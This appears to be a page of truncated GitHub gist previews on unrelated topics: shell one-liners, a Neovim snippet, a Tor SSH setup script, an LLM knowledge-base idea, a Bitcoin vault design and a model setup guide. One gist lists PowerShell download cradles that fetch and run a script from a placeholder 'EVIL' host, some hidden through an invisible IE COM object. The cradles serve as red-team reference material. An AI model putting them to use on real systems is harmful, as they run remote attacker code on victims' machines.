kcubeterm

Now Google cloud sdk support python3.9 as well. Lets start.

Without any surprise,use your copy-paste skills to fire following script into your innocent terminal.

pkg install python3 openssh
curl -o sdk.sh sdk.cloud.google.com
chmod +x sdk.sh
./sdk.sh --install-dir=$PREFIX

lukechilds

sudo du -h -a / 2>/dev/null | sort -h -r

smnatale

-- Copy file path / selection reference for pasting into AI chats
local function copy_ref(opts)
	-- "%" is the current buffer's file name; ":." makes it relative to the cwd
	local path = vim.fn.expand("%:.")
	-- ref is what ends up in the clipboard; start with just the path
	local ref = path

	if opts.visual then
		-- '< and '> are only set after leaving visual mode, so read the live selection:
		-- "v" is the line where visual mode was started (the anchor)

lukechilds

#!/usr/bin/env bash
#
# Setup or remove an SSH hidden service on Debian based systems.
#
# Usage:
#
# Setup SSH hidden service:
#   $ curl -Ls https://git.io/tor-ssh | bash -s -- --setup-tor-ssh
#
# Remove SSH hidden service: 

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

lukechilds

Installs all cross platform emulators for use with docker buildx

docker run -it --rm --privileged tonistiigi/binfmt --install all

karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

lukechilds

Connector Vaults: Delegated Execution and Stateless Revocation

Each chain of presigned vault transactions carries one tiny connector UTXO controlled by a controller wallet. Every transaction spends the current connector and creates the next, so it can execute only when the controller wallet signs at broadcast time. Spending the live connector elsewhere revokes the remaining chain without moving its funds or requiring presigned revocation transactions.

Properties:

• Offline signatures and presigned transactions are halved. An n-step policy needs n offline-signer authorizations instead of 2n (n authorizations + n revocations). This is especially impactful when performing large signing ceremonies on low-powered devices like hardware wallets.
• Revocation transactions do not need to be presigned. The controller wallet constructs th

conradcaffier03

GLM-5.2 Free Setup Guide

GLM-5.2 is Z.ai's open-weights (MIT) flagship — 744B-MoE, a 1M-token context, and benchmarks within ~1 point of Claude Opus 4.8 on FrontierSWE. Here's how to actually put it to work, starting with the routes that cost nothing and need no credit card.

---

1. Free, zero setup — just chat